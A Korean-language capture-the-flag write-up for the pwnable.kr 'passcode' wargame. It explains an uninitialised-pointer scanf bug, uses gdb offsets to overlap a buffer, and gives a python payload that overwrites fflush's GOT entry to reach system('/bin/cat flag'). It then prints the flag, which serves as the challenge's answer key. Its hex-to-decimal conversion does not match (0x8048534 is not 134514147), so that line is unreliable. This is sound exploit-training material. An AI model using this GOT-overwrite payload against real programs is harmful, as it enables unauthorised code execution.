Pwnable.kr [Toddler's Bottle]의 5번째 문제인 passcode입니다.

포켓몬 같이 생긴 일러스트네요

바로 어떤 파일들이 있는지 확인해보겠습니다.

이번에도 c파일이 있네요

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

passcode의 C파일입니다, 여기서 이상한 부분을 발견 할 수 있는데요.

 

바로 scan받는 부분이죠

scanf("%d", passcode1);
scanf("%d", passcode2);

이 경우에는 scan을 받은 값을 passcode1에 저장하는 것이 아니라, passcode1을 주소로 한 곳에 저장을 받게 됩니다.

 

두 변수 둘다 초기화되지 않았기 때문에 더미값이 들어가 있을테고, 그 더미값을 주소로 하는 곳에 값을 저장하게 되니

 

오류가 나게 됩니다.

 

gdb로 분석을 해 봅시다.

 

welcome 함수를 분석해봤습니다.

welcome함수를 보면 ebp-0x70에 입력 값을 저장하는 것을 알 수 있습니다.

login 함수를 분석해봤습니다.

ebp-0x10이 passcode1가 위치한 곳을 알 수 있습니다.

 

welcome()에서 100바이트 짜리 입력을 받는데. 0x70 - 0x10 = 0x60 = 96바이트 이므로

 

passcode의 값을 조작 할 수 있습니다.

 

그러면 passcode1의 값을 주소로 하는 곳에 원하는 값을 넣을 수 잇으므로, 원하는 주소에 원하는 값을 넣을 수 있습니다.

 

그 다음 fflush()의 got주소를 login()의 system()부분으로 바꾸면 된다.

 

그럼 주소를 구해봅시다!

fflush의 got 주소는 0x0804a004인걸 알 수 있습니다!

 

이제 페이로드를 구성해보겠습니다! 더미(96)+fflush()의 got(4)

 

system(4) {4}가 됩니다.

 

여기서 system()은 scanf()가 정수형으로 받기 때문에 정수형을 써야합니다.

 

0x8048534 = 134514147

 

(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

 

파이썬 코드를 먼저 써준 후 134514147을 입력해 주겠습니다.

 

Flag가 정상적으로 출력되었습니다!

FLAG : Sorry mom.. I got confused about scanf usage :(

반응형
복사했습니다!